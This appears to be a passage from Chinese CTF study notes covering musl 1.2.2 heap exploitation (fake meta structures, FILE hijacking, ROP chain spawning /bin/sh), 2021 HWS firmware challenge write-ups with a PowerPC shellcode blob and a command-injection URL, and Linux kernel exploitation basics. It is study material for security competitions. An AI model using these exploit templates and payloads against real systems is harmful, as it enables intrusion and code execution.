// here, but single-slot groups might or might not be.
if (g->next) {
//检查sc释放合法, 不是mmap(63)的
assert(sc < 48);
//如果g是队列中开头的meta, 那么弹出队列后, 要激活后一个
int activate_new = (ctx.active[sc]==g);
dequeue(&ctx.active[sc], g);
//激活后一个meta过程中需要完成avail_mask和free_mask的设置
//即free_mask向avail_maks进行转移
if (activate_new && ctx.active[sc])
activate_group(ctx.active[sc]);
}
//现在要释放这个meta-group,放入ctx.free_meta_head中
return free_group(g);

}
//如果mask==0, 也就是这个meta-group中所有的chunk都被分配出去了
else if (!mask) {
assert(sc < 48);
// might still be active if there were no allocations
// after last available slot was taken.
//现在这个全部chunk被分配出去的group中有一个chunk要被释放了
//因此这个meta-group要重新入队
if (ctx.active[sc] != g) {
queue(&ctx.active[sc], g);
}
}
a_or(&g->freed_mask, self);
return (struct mapinfo){ 0 };
}

②dequeue

1
2
3
4
5
6
7
8
9
10
11
12
13
//v1.2.1 /src/malloc/mallocng/meta.h
//meta的出队操作,一般漏洞点出在这里
static inline void dequeue(struct meta **phead, struct meta *m)
{
if (m->next != m) {
m->prev->next = m->next;
m->next->prev = m->prev;
if (*phead == m) *phead = m->next;
} else {
*phead = 0;
}
m->prev = m->next = 0;
}

没有检测meta中的next和prev指针是否合法,如果可以伪造一个meta传入,控制它的prev/next指针,就可以做到像unlink一样的任意写

③queue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//v1.2.2 /src/malloc/mallocng/meta.h
static inline void queue(struct meta **phead, struct meta *m)
{
assert(!m->next);
assert(!m->prev);
if (*phead) {
struct meta *head = *phead;
m->next = head;
m->prev = head->prev;
m->next->prev = m->prev->next = m;
} else {
m->prev = m->next = m;
*phead = m;
}
}

当meta进入该函数,就会发生解链,然后进入到对应的active[sc]中,这种情况需要active[sc] = NULL,即该sizeclass下暂时不存在可用的meta。

🔺注:

malloc和free的时候不会将chunk的内容置空,这个给我们创造了UAF的一些条件,同样的也有相应的静态堆内存

4.利用方式

(1)泄露地址

通常使用静态堆内存来进行泄露,但是这里就涉及一个问题,静态堆内存就算申请到了,也没有指针啊。所以现在的题目好多都是申请一个chunk结构体,比如

1
2
3
4
5
6
7
struct strChunk
{
char size[8];
char* data;
}
struct strChunk* myChunk = malloc(xxx);
myChunk.data = malloc(xxx);

这样在在一定的UAF或者溢出条件下,就可以泄露出data指针,而如果这个data指针恰好是从静态堆内存申请出来的,那么就能泄露libc地址了。

heap地址也是类似,一般就是通过溢出或者UAF之类的来泄露了。

如果没有的话,我能想到的就是无限申请,直到耗尽meta的空间,当它再开辟的meta空间的时候,由于是mmap分配的,那么就有可能申请出libc的空间

(2)getshell

①secret

想要伪造meta,首先需要泄露secrect校验值

②伪造meta

先行的方法基本都是伪造meta,伪造之后通常是通过两种方法进行利用,不同的方法伪造的meta基本也是不同的,下面具体介绍。

a.dequeue

调用链为

1
_libc_free->nontrivial_free->dequeue

这种是通过dequeue进行任意写覆盖__stdout_used指针(就像libc里面的IO_list_all),然后伪造__IO_FILE,通过IO进行攻击。

伪造的meta

1
2
3
4
5
6
7
8
9
10
11
12
13

sizeclass = 1 #
freeable = 1
last_idx = 6 #
maplen = 1

fake_meta = b''
fake_meta += p64(stdout_used_addr-0x8) # prev
fake_meta += p64(fake_IO_addr) # next
fake_meta += p64(base) # mem
fake_meta += p32(0x7e) + p32(0) # avail_mask, freed_mask
fake_meta += p64((maplen << 12) | (sizeclass << 6) | (freeable << 5) | last_idx)
fake_meta += p64(0)
  • 获取__stdout_used

    这里通过dequeue就是将fake_IO_addr赋值给__stdout_usedimage-20230816194459069

    里面存放的是stdout__IO_FILE结构体。对于去掉符号信息的libc,不知道__stdout_used在哪的可以尝试分析exit里面调用的__stdio_exit函数去看在哪里,

    1
    2
    3
    4
    5
    6
    7
    8
    //v1.2.2 /src/exit/exit.c
    _Noreturn void exit(int code)
    {
    __funcs_on_exit();
    __libc_exit_fini();
    __stdio_exit();
    _Exit(code);
    }

    image-20230816195302098

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    //v1.2.2 /src/stdio/__stdio_exit.c

    void __stdio_exit(void)
    {
    FILE *f;
    for (f=*__ofl_lock(); f; f=f->next) close_file(f);
    close_file(__stdin_used);
    close_file(__stdout_used);
    close_file(__stderr_used);
    }

    image-20230816195412866

    其实这里也可以看到,劫持__stdin_used/__stderr_used也是一样的效果,但是实际中比较不容易出错的应该是__stdout_used用的比较多

  • 伪造fake_IO_addr

    主要是伪造几个关键的点,常见的伪造模板如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    # ROP

    gadget_addr = libc_base + libc.sym['longjmp'] + 30
    #mov rsp, [rdi+30h];jmp qword ptr [rdi+38h]

    fake_IO = p64(0) # flags
    fake_IO += p64(0) # rpos
    fake_IO += p64(0) # rend
    fake_IO += p64(rop_addr) # close
    fake_IO += p64(1) # wend
    fake_IO += p64(1) # wpos
    fake_IO += p64(rop_addr+0x8) # mustbezero_1 #0x30
    fake_IO += p64(pop_rdi_ret) # wbase #0x38
    fake_IO += p64(0) # read
    fake_IO += p64(gadget_addr) # write

    binsh_addr = libc_base + libc.search('/bin/sh').next()
    rop = ""
    rop += p64(pop_rdi_ret) + p64(binsh_addr)
    rop += p64(pop_rsi_ret) + p64(0)
    rop += p64(pop_rdx_ret) + p64(0)
    rop += p64(pop_rax_ret) + p64(59)
    rop += p64(syscall_ret)

    通过close_file函数中的f->write进入gadget,然后依据rdi劫持rsp,从而进行ROP

  • base获取

    这个通常是用来绕过在进入nontrivial_free函数之前的get_meta函数中针对meta检查的,链子为__libc_free->get_meta在如下代码中

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    //v1.2.2 /src/malloc/mallocng/meta.h
    static inline struct meta *get_meta(const unsigned char *p)
    {
    assert(!((uintptr_t)p & 15));
    int offset = *(const uint16_t *)(p - 2);
    int index = get_slot_index(p);
    if (p[-4]) {
    assert(!offset);
    offset = *(uint32_t *)(p - 8);
    assert(offset > 0xffff);
    }
    const struct group *base = (const void *)(p - UNIT*offset - UNIT);
    const struct meta *meta = base->meta;
    assert(meta->mem == base); //主要用来绕过这里
    assert(index <= meta->last_idx);
    assert(!(meta->avail_mask & (1u<<index)));
    assert(!(meta->freed_mask & (1u<<index)));
    const struct meta_area *area = (void *)((uintptr_t)meta & -4096);
    assert(area->check == ctx.secret);
    if (meta->sizeclass < 48) {
    assert(offset >= size_classes[meta->sizeclass]*index);
    assert(offset < size_classes[meta->sizeclass]*(index+1));
    } else {
    assert(meta->sizeclass == 63);
    }
    if (meta->maplen) {
    assert(offset <= meta->maplen*4096UL/UNIT - 1);
    }
    return (struct meta *)meta;
    }

    需要满足meta->mem=base,这里的base就是通过进入索引为0的chunk_addr-0x10,比如如下索引为0的chunk

    image-20230817192343088

    这里获取得到base之后,进一步得到meta,即为0x7ffff7fff0010

    image-20230817192915034

  • 设置avail_maskfreed_masklast_idxfreeablesizeclassmaplen

    设置这几个参数,主要用于通过nontrivial_free函数中的检查,包括ok_to_freeget_stride,如下代码所示

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    //v1.2.2 /src/malloc/mallocng/free.c
    static struct mapinfo nontrivial_free(struct meta *g, int i)
    {
    uint32_t self = 1u<<i;
    int sc = g->sizeclass;
    uint32_t mask = g->freed_mask | g->avail_mask;

    //通过适当计算进行设置,0x7e+1 == (2<<1)-1 == 127
    //ok_to_free就是做一些检查,满足freeable==1,sizeclass<48,maplen==1
    //然后通过g->next!=g来返回1
    /*
    //v1.2.2 /src/malloc/mallocng/free.c
    static int okay_to_free(struct meta *g)
    {
    int sc = g->sizeclass;
    if (!g->freeable) return 0;
    if (sc >= 48 || get_stride(g) < UNIT*size_classes[sc])
    return 1;
    if (!g->maplen) return 1;
    if (g->next != g) return 1;
    if (!is_bouncing(sc)) return 1;
    size_t cnt = g->last_idx+1;
    size_t usage = ctx.usage_by_class[sc];
    if (9*cnt <= usage && cnt < 20)
    return 1;
    return 0;
    }
    */
    if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) {
    if (g->next) {
    assert(sc < 48);
    //......
    dequeue(&ctx.active[sc], g);
    //.....
    }
    //....
    return free_group(g);
    }
    else if (!mask) {
    //.....
    }
    //....
    }

    🔺注:这个last_idx随便改的话可能会在__libc_free中出现错误,就是一个依据last_idx判断chunk上某个位置是否为0,这个也比较好改

总体来说进入dequeue就算成功,实现任意地址任意写,将__stdout_used的值劫持为fake_IO_addr。之后就大多通过调用链exit()->__stdio_exit()->close_file()->(f->write(f,0,0)),跳转到gadget完成栈劫持利用的。

b.queue

调用链为

1
_libc_free->nontrivial_free->queue

看一下nontrivial_free源代码就能理解,就是通过条件满足

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//v1.2.2 /src/malloc/mallocng/free.c
static struct mapinfo nontrivial_free(struct meta *g, int i)
{
uint32_t self = 1u<<i;
int sc = g->sizeclass;
uint32_t mask = g->freed_mask | g->avail_mask;

//通过适当计算进行设置,0x7e+1 == (2<<1)-1 == 127
//ok_to_free就是做一些检查,满足freeable==1,sizeclass<48,maplen==1
//然后通过g->next!=g来返回1
/*
//v1.2.2 /src/malloc/mallocng/free.c
static int okay_to_free(struct meta *g)
{
int sc = g->sizeclass;
if (!g->freeable) return 0;
if (sc >= 48 || get_stride(g) < UNIT*size_classes[sc])
return 1;
if (!g->maplen) return 1;
if (g->next != g) return 1;
if (!is_bouncing(sc)) return 1;
size_t cnt = g->last_idx+1;
size_t usage = ctx.usage_by_class[sc];
if (9*cnt <= usage && cnt < 20)
return 1;
return 0;
}
*/
if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) {
//...
}
else if (!mask) {
if (ctx.active[sc] != g) {
queue(&ctx.active[sc], g);
}
}
//....
}

依照相关逻辑,伪造meta如下

1
2
3
4
5
6
7
last_idx, freeable, sc, maplen = 1, 0, 8, 0 #freeable置0是为了拒绝ok to free校验,防止释放meta
fake_meta = p64(0) # prev
fake_meta += p64(0) # next
fake_meta += p64(base) # mem
fake_meta += p32(0) + p32(0) # avail_mask, freed_mask
fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
fake_meta += p64(0)

这里相关参数设置的是和dequeue差不多,不太一样的主要是freeableprevnextavail_maskfreed_maskmaplen等的设置,同样也是为了通过get_meta以及相关的检测

这样在queue之后就能在对应的active[sc]中得到一个fake_meta,随后通过任意写faka_meta->mem即可进行任意申请。

如果使用calloc进行申请,则还需要在base->meta位置通过dequeue写入fake_meta_addr才行。

1
2
3
4
5
6
7
8
9
10
11
//v1.2.2 /src/malloc/calloc.c
void *calloc(size_t m, size_t n)
{
//...
n *= m;
void *p = malloc(n);
if (!p || (!__malloc_replaced && __malloc_allzerop(p)))
return p;
n = mal0_clear(p, n);
return memset(p, 0, n);
}

因为在进入calloc之后,如果申请出chunk则会进入检测__malloc_allzerop这个函数,而在musl中即为get_meta,会对meta进行检测

image-20230822205832570

通过malloc进行申请的则不用在base->meta位置通过dequeue写入fake_meta_addr,可以直接申请出来。

随后就可以通过修改__stdout_FILE结构体,在没有exit的情况下,就可以通过puts->fputs_unlocked->fwrite_unlocked->__fwritex->(f->write)调用链来调用到虚假的f->write函数指针,随后通过gadget劫持栈完成利用,和之前的dequeue类似。

1
2
3
4
5
6
7
8
9
10
//v1.2.2 /src/stdio/fwrite.c

size_t __fwritex(const unsigned char *restrict s, size_t l, FILE *restrict f)
{
size_t i=0;
//....
if (l > f->wend - f->wpos) return f->write(f, s, l);
//...
return l+i;
}

注:当然,也可以通过dequeue直接修改某个active[sc]mem来申请到__stdout_FILE进行修改,但是这个需要写了ELF基地址得到meta地址,还需要malloc进行申请才行。

另外当用malloc申请chunk时,如果可以泄露heap基地址,那么就可以通过任意修改active[sz]->mem进行任意申请,但是申请到的位置在不同的active[sc]中不太一样,具体的进行分析。calloc存在get_meta相关的校验。

③触发伪造meta

那么如何通过释放触发伪造的meta呢。这个在get_meta中有

1
2
3
4
5
6
7
8
9
int offset = *(const uint16_t *)(p - 2);
int index = get_slot_index(p);
if (p[-4]) {
assert(!offset);
offset = *(uint32_t *)(p - 8);
assert(offset > 0xffff);
}
const struct group *base = (const void *)(p - UNIT*offset - UNIT);
const struct meta *meta = base->meta;

即依据chunk元数据里面的idx/offset来得到base,从而得到meta,那么通常的漏洞利用就是通过溢出写chunk的元数据,使之成为第0chunk,从而获取到伪造的meta。如下即通过溢出chunk使之索引为0,在chunk_addr-0x10部分伪造meta,之后释放该chunk,发现索引为0,即可从chunk_addr-0x10的地方找到伪造的meta地址。

image-20230817192343088

④绕过检测

在实际利用时,还需要绕过get_meta中对于meta_area的检测

1
2
const struct meta_area *area = (void *)((uintptr_t)meta & -4096);
assert(area->check == ctx.secret);

即通过meta所在页得到meta_area,然后检测ctx.secret是否为meta_area->check。那么在利用时其实不一定能满足申请到的chunk0x---000的位置,那么通常就申请0x2000chunk来得到libc上的chunk,并且通过适当调整使得fake_meta所在页的首地址数据为secret。那么通常的payload配置如下

1
2
3
4
5
6
7
payload = ""
payload += rop
payload = payload.ljust(0xfe0,"\x00")
payload += p64(secret) + p64(0)
payload += fake_meta
payload += binsh
payload += fake_IO

image-20230822221035821

参考:

[原创]小小做题家之——musl 1.2.2的利用手法-Pwn-看雪-安全社区|安全招聘|kanxue.com

[原创]musl 1.2.2 总结+源码分析 One-Pwn-看雪-安全社区|安全招聘|kanxue.com

新版musl-libc malloc源码分析与调试-安全客 - 安全资讯平台 (anquanke.com)

从一次 CTF 出题谈 musl libc 堆漏洞利用-安全客 - 安全资讯平台 (anquanke.com)

借助DefCon Quals 2021的mooosl学习musl mallocng(源码审计篇)-安全客 - 安全资讯平台 (anquanke.com)

从2021 WMCTF Nescafe学习musl libc UAF 利用-安全客 - 安全资讯平台 (anquanke.com)

借助DefCon Quals 2021的mooosl学习musl mallocng(漏洞利用篇)-安全客 - 安全资讯平台 (anquanke.com)

musl-1.2.x堆部分源码分析-安全客 - 安全资讯平台 (anquanke.com)

从musl libc 1.1.24到1.2.2 学习pwn姿势-安全客 - 安全资讯平台 (anquanke.com)

musl 1.2.2 总结+源码分析 One - 先知社区 (aliyun.com)

2021HWS固件学习

一、练习题

1.SMT32固件

(1)IDA分析

①选择架构

需要在加载界面选择架构,如图选择ARM小端序

image-20220119162036357

②设置选项

处理器选项设置对应

du

③选择固件加载地址

OK之后,进入填写加载地址的界面,修改如下

image-20220119162333850

这个对于SMT32这种类型的固件是一定的,需要自己去上网查询,Input file的loading address可以让我们输入其他值,就使得IDA不从头加载,而从我们输入的地址开始加载。

④寻找函数地址

A.查找中断处理函数

在最开头地址+4的地方保存的是中断处理函数,按d转换数据双击点进去即可

image-20220119162645572

B.识别函数

发现是奇数地址,那么在奇数地址-1的地方,按c,即可分析出一些函数

image-20220119162843385

其中0x08000100即为中断处理函数,相对于SMT32固件而言,该函数的第二次跳转地址上的首次跳转的最后跳转再跳转即为main函数地址

image-20220119163217387

image-20220119163231426

image-20220119163255655

image-20220119163337683

image-20220119163359036

(2)解密

image-20220119163634811

分析之后,即可找到对应的加密算法,按照上述逻辑恢复即可

1
2
3
4
5
6
7
8
9
10
11
12
13
a = [   
0x7D,0x77,0x40,0x7A,0x66,0x30,0x2A,0x2F,
0x28,0x40,0x7E,0x30,0x33,0x34,0x2C,0x2E,
0x2B,0x28,0x34,0x30,0x30,0x7C,0x41,0x34,
0x28,0x33,0x7E,0x30,0x34,0x33,0x33,0x30,
0x7E,0x2F,0x31,0x2A,0x41,0x7F,0x2F,0x28,
0x2E,0x64
]

flag = ""
for i in a:
flag += chr((i ^ 0x1E) + 3)
print(flag)

参考:HWS2021冬令营选拔赛 | Clang鱼塘 (blingblingxuanxuan.github.io)

(1)固件解包

1
binwalk -Me uImage

(2)当前目录搜索

该命令可在当前文件夹下搜索密码,一般这种路由器的密码都是从/etc/passwd中取得

1
grep -ri "etc/passwd"

image-20220119174406881

排除busybox和libc,那么先去goahead中找,直接拖进IDA32分析

goahead是一个嵌入式的Web服务器:https://www.embedthis.com/goahead/

①定位字符串

搜索字符串set_qos_cfg,这个常用,找到如下

image-20220119175251051

漏洞常常在goform接口下,简单查看一下,发现其中有一个set_cmd的引用

image-20220119175504033

进入函数,发现一个设置命令的函数bs_SetCmd

image-20220119175643376

②分析函数

参照上面的函数名称,继续搜索

image-20220119175815328

发现定位在libshare中,打开分析一下

image-20220119180323116

其中off_4F2CC的值为%s,即格式化为字符串输出给v21,那么很明显就是使用popen进行命令执行

image-20220119180607832

③URL访问

1
/goform/set_cmd?cmd=cat /home/goahead/flag.txt

这里就是调用goform的接口API进行测试即可获得flag

3.httpd

不太会

4.nodemcu

直接出

1
strings nodemcu.bin

image-20220120125706243

看来以后都先strings一把梭试试

5.easybios

(1)前置探索

按照命令提示启动,但是有时候可以,有时候又不可以,可能在等一下就可以?

image-20220120130559529给了提示

image-20220120130724621

尝试一下

image-20220120130702363

(2)IDA分析

使用binwalk解包

1
binwalk -Me easybios

然后IDA打开解包出来的二进制文件

image-20220120143603848

搜索一下Wrong字符串,没搜到,尝试用unicode格式搜索,即UTF-16LE格式,一个字符两个字节。

image-20220120144209024

然后加上00即可->57 00 72 00 6F 00 6E 00 67 00,找到两个

image-20220120144641985

image-20220120144707349

image-20220120144725574

很明显应该是下面那个,但是这个文件有点大,不好解析,再加上之前在解包的时候看到包含很多PE文件,所以这个程序应该也是在一个PE文件里,那么我们依据地址,找到对应的PE文件头尾

image-20220120150501890

(3)切割分析

①寻找头尾地址

依据地址找到以下头尾

image-20220120155301520

②使用Winhex进行切割

使用Winhex打开,然后找到头尾,使用alt+G搜索地址,选定头尾

image-20220120155739157

头部

image-20220120155816532

尾部

image-20220120155907991

选中选快,右键编辑->复制选块->至新文件,然后保存用IDA打开,照常使用全局搜索字符57 00 72 00 6F 00 6E 00 67 00找到对应的函数sub_31D6F,一番判断如下:

image-20220120154940674

然后顺着逻辑理清楚即可,或者尝试使用angr解题,以下exp参照lxonz师傅

2021HWS冬令营线上赛固件安全WriteUp|NOSEC安全讯息平台 - 白帽汇安全研究院

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
def print_bytes_hex(data):
lin = ['%0x' % i for i in data]
print("".join(lin))

magic = 'OVMF_And_Easy_Bios'
demo = [0x46, 0x77, 0x74, 0xb0, 0x27, 0x8e, 0x8f, 0x5b, 0xe9, 0xd8, 0x46, 0x9c, 0x72, 0xe7, 0x2f, 0x5e]
v13 = [0]*514
for i in range(256):
v13[i] = i
v13[i+256] = ord(magic[i%18])

v2 = 0
v3 = 0
new_list = []
while v2!=256:
v4 = v13[v2]
v3 = (v13[v2 + 256] + v4 + v3) % 256
v5 = v13[v3]
v13[v3] = v4
v13[v2] = v5
v2+=1

v6 = 0
v7 = 0
v8 = 0

while v6 != 16:
v8 = v8 + 1
v9 = v13[v8]
v10 = (v9 + v7) % 256
v11 = v13[v10]
v13[v10] = v9
v7 = (v9 + v7) % 256
v13[v8] = v11
result = v13[(v11 + v13[v10]) % 256]
new_list.append(result)
#(v0 + v6) ^= result
v6 += 1
#print len(demo)
#print len(new_list)
flag_list = []
for i in range(16):
flag_list.append(new_list[i]^demo[i])
print(hex(new_list[i]^demo[i]))
print_bytes_hex(flag_list)
#flag{88baec0b5154f859b5851097bb567f5c}

6.PPPPPPC

(1)调试

powerpc大端架构

调试发现栈溢出,读入0x320,并且变量偏移在0x140,可覆盖$lr寄存器,控制程序流,保护都没开,就尝试ret2shellcode

image-20220120194956344

(2)泄露地址

使用题目给的qemu-ppc-static来运行会使得程序打印所有寄存器的值,远程也是这样的

image-20220120195324259

参照如下

image-20220120195537738

远程肯定也是qemu,地址不会改变,那么就可以获得栈地址,同时依据调试数据也能得到我们输入数据的相应的偏移

(3)寻找shellcode

直接去shell-storm | Shellcodes Database找对应的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
"\x7c\x3f\x0b\x78"	/*mr	r31,r1*/
"\x7c\xa5\x2a\x79" /*xor. r5,r5,r5*/
"\x42\x40\xff\xf9" /*bdzl+ 10000454< main>*/
"\x7f\x08\x02\xa6" /*mflr r24*/
"\x3b\x18\x01\x34" /*addi r24,r24,308*/
"\x98\xb8\xfe\xfb" /*stb r5,-261(r24)*/
"\x38\x78\xfe\xf4" /*addi r3,r24,-268*/
"\x90\x61\xff\xf8" /*stw r3,-8(r1)*/
"\x38\x81\xff\xf8" /*addi r4,r1,-8*/
"\x90\xa1\xff\xfc" /*stw r5,-4(r1)*/
"\x3b\xc0\x01\x60" /*li r30,352*/
"\x7f\xc0\x2e\x70" /*srawi r0,r30,5*/
"\x44\xde\xad\xf2" /*.long 0x44deadf2*/
"/bin/shZ"; // the last byte becomes NULL

对应偏移找到即可

image-20220120200332572

覆盖LR寄存器为该地址完事

7.easymsg

没看懂

二、知识点

1.固件解包

(1)binwalk

常用的命令

1
2
binwalk -Me xxx.bin  #解包
binwalk -A xxx.bin #查看架构

有时候可以用mount挂载binwalk打不开的固件

1
mount ./rootfs.img test

2.固件加解密

(1)判断加密

有时候固件可能会被加密,可用binwalk的熵计算来判断,压缩或者加密的数据具有较高的熵值

1
binwalk -E xxx.bin

未加密的

image-20220121185003706

加密的

image-20220121185022780

(2)解密常见方法

逆向,自己寻找等等

3.固件寻找

网上,官网啥的,或者硬件提取,反正到时候再看一遍把,服务器,吾爱破解…

观察以下

image-20220121185648863

kernel笔记汇总

一、常见保护

1.KPTI

在v4.15之后会默认开启

内核页表隔离,开启之后可以访问用户空间内存,但是不能执行用户空间代码

即无法直接通过构造swapgs_iretq的ROP来返回用户态,可参考绕过

Linux Kernel KPTI保护绕过 - 安全客,安全资讯平台 (anquanke.com)

1
cat /sys/devices/system/cpu/vulnerabilities/*

image.png

这个也有类似的启动脚本

1
-append "console=ttyS0 quiet root=/dev/sda rw init=/init oops=panic panic=1 panic_on_warn=1 kaslr pti=on" \

2.SMEP、SMAP、KASLR等

这个直接看启动脚本

(1)SMEP和SMAP

可以通过ROP修改CR3寄存器来绕过

(2)KASLR

通常需要泄露地址,可以通过以下命令查看当前基地址

1
cat /proc/kallsyms | grep startup_64

image-20220118120655137

但是也可以爆破,KASLR的随机化程度只有9bit,还是比较好爆破的,参考之后的爆破KASLR的模板

3.其他保护

(1)STACK PROTECTOR

类似用户态的cancary

(2)参考README.MD

有时候出题人给的README.MD会给配置

1
2
3
4
5
6
CONFIG_SLAB=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_HARDENED_USERCOPY=y
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""

如上就是使用SLAB分配,开启RANDOM和HARDENED保护,以及Hardened Usercopy(内核空间指针也会进行非常严格的安全性检查,包括不允许为空指针、不允许指向 kmalloc 分配的零长度区域、不允许指向内核代码段、如果指向 Slab 则不允许超过 Slab 分配器分配的长度、如果涉及到栈则不允许超出当前进程的栈空间等等。)和 Static Usermodehelper Path(modprobe_path 为只读,不可修改)

参考:【CTF.0x05】TCTF2021-FINAL 两道 kernel pwn 题解 - arttnba3’s blog

二、泄露地址

一般是开启KASLR的时候寻找地址

参照:信息泄漏 - CTF Wiki (ctf-wiki.org)

1.常用方法

Dmesg

显示启动时的一些信息,其中肯定包含很多函数地址

当设置如下即不能再用

  • 启动时echo 1 > /proc/sys/kernel/dmesg_restrict,即设置dmesg_restrict为1
  • 编译内核时CONFIG_SECURITY_DMESG_RESTRICT=y,这个效果等同

kallsyms

保存所有函数地址(全局的、静态的)和非栈数据变量地址

当其中的值如下时对应所示情况,一般题目启动时直接

echo 2 > /proc/sys/kernel/kptr_restrict

  • 0:默认情况下,没有任何限制。
  • 1:使用 %pK 输出的内核指针地址将被替换为 0,除非用户具有CAP_ SYSLOG特权,并且 group id和真正的 id 相等。(这个不太懂,root用户就可以看到)
  • 2:使用 %pK 输出的内核指针都将被替换为 0 ,即与权限无关。(root用户也看不到,需要在启动时去掉这个才行)

module

这个是用来获取模块加载地址的

1
cat /sys/module/module_name/sections/.text

但是当编程时故意将模块隐藏起来的话,就不会被查看到了,下面有讲到。

三、下载generic版本内核

1
apt search linux|grep linux-image

肯定不太全,当然不同的apt源对应不同的,所以还是学会自己编译内核最好。

这种方法下载下来没有符号表,可以通过vmlinux-to-elf来获取符号表

四、打印地址

1.常规打印

1
printf("0x%lx\n",leakAddr);

有时候不加\n打不出来

1
2
#define HEX(x) printf("[*]0x%016lx\n", (size_t)x)
#define LOG(addr) printf("[*]%s\n", addr)

2.gdb式打印

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void gdbPrint(size_t* data,int len)
{
int rowLen = 0;
for(int i = 0 ; i < len/0x10 ; i ++)
{
printf("0x%04x\t",rowLen);
printf("0x%016llx ",*data++);
printf("0x%016llx\n",*data++);
rowLen = rowLen+0x10;
}
}

char data[0x50];
memset(data,'\xaa', 0x10);
memset(data+0x10,'\xbb', 0x20);
gdbPrint(data,0x50);

实现效果

image-20220512151331110

3.颜色打印

五、搜索内存

当不知道内存在哪里时,可以使用peda的搜索功能,搜索地址范围,常常在操控栈时很好用

1
find "galf" 0xffffc900001d3f80 0xffffc900001d3f98

image-20220114170510292

六、常见漏洞及利用

1.堆

前置知识

分配方式

通常而言为两种分配方式SLUB或者SLAB,SLUB默认会带上SLAB,但是可以进行设置,比如在编译内核的时候,使用CONFIG_SLUB=nCONFIG_SLAB=y这样编译出来的内核就一定是SLAB分配的了。

分配基地址

kmalloc 从线性映射区分配内存,这块区域的线性地址到物理地址空间的映射是连续的,其起始地址为 page_offset_base,在不开启KASLR的情况如下:

image-20220325143607447

kmalloc_caches

作为一个kmem_cache的结构体数组,管理着多个kmem_cache结构体指针。

image-20220313124755307

但是不同版本下,由于分配方式的不同,导致也会kmalloc_caches的结构有点变化

比如在4.19.98的版本中,kmalloc_caches就只是一维数组

image-20220313161710623

而在5.6的版本下,kmalloc_caches变成了二维数组

image-20220313161749775

多出来的两个一维空间,就存放了kmalloc-rcldma-kmalloc,实际上也是相同的

SLUB下

通常我们分配的chunk的freelistkmalloc_caches[xx].cpu_slab.freelist + CPUX_addr,也就是先得到对应CPU分配的基地址,然后加上cpu_slab.freelist 即为对应kmalloc-xxfreelist的实际地址,如下图可以看到

image-20220316201816364

这里我在itExp中绑定了使用CPU3进行分配

1
2
3
4
5
6
7
#define __USE_GNU
#include <sched.h>

cpu_set_t cpu_mask;
CPU_ZERO(&cpu_mask);//初始化为0
CPU_SET(3,&cpu_mask);//绑定CPU3运行程序
sched_setaffinity(getpid(), sizeof(cpu_mask), &cpu_mask);
一维kmalloc_caches

kmalloc_caches[1]~kmalloc_caches[13]kmalloc-8~`kmalloc-8k`

而在只有一维空间的kmalloc_caches中,即不存在kmalloc-rcldma-kmalloc的版本下,比如4.19.98

如下图可以看到,也是很顺利地放入CPU3对应的kmalloc-32freelist

image-20220314122243323

但是CPU个数的不同,分配的基地址通常也会发生变化,这个具体还是看__per_cpu_offset这个全局变量中保存的内容吧,具体的细节不太知道

image-20220316201020862

如图为4个CPU的情况,这个还是不太一样的。

多维kmalloc_caches

kmalloc_caches[0][1]~kmalloc_caches[0][13]kmalloc-8~`kmalloc-8k`

kmalloc_caches[1][1]~kmalloc_caches[1][13]kmalloc-rcl-8~`kmalloc-rcl-8k`

kmalloc_caches[2][1]~kmalloc_caches[2][13]dma-kmalloc-8~`dma-kmalloc-8k`

image-20220313160048795

内存管理如下

img

在二维空间的kmalloc_caches下,依据CPU的不同,有不同的freelist,比如在有4个CPU的情况下,我们将程序绑定在CPU3上,如上面提到的一样

qemu启动效果之后,输入top,效果如下

image-20220314120253236

那么我们的itExp程序绑定的CPU3分配到的基地址即为0xffff88800f380000,结合kmalloc_caches中对应kmalloc-xxx下的cpu_slab.freelist

image-20220314120914190

那么我们的kmalloc-32freelist即为0xffff88800f380000+0x2d260,如下图可以看到,我们释放的chunk确实是放入了CPU3上对应的kmalloc-32freelist

image-20220316202605604

当然,在SLUB分配下,由于FD指针的存在,freelist更像是一个单向链表,freelist中的第一个chunk作为链表头依据FD指针串联起整个freelist

仅SLAB下

同样也具备多维或者一维的kmalloc_caches

kmalloc_caches[0][1]~kmalloc_caches[0][2]kmalloc-96~kmalloc-192

kmalloc_caches[0][3]~kmalloc_caches[0][4]不知道为什么没有

kmalloc_caches[0][5]~kmalloc_caches[0][22]kmalloc-32~kmalloc-4M

同理对应的多维和一维也是类似的

image-20220313160119681

分配方式上有点不同,具体的比较复杂,可以参考如下:

(41条消息) slab内存管理方案学习记录_liuhangtiant的博客-CSDN博客

这种情况下的Chunk其实不带FD指针的,所以只用于freelist上即可,简单来说,slab的freelist更像是一个数组进行索引。

  • 首先找到索引,也就是CPUX_addr + kmalloc_caches[xx][xx].cpu_cache.avail对应的值,以CPU3kmalloc-1024为例:

image-20220316203909895

  • 然后再找到freelist的地址,即CPUX_addr + kmalloc_caches[xx][xx].cpu_cache.entry

image-20220316204056370

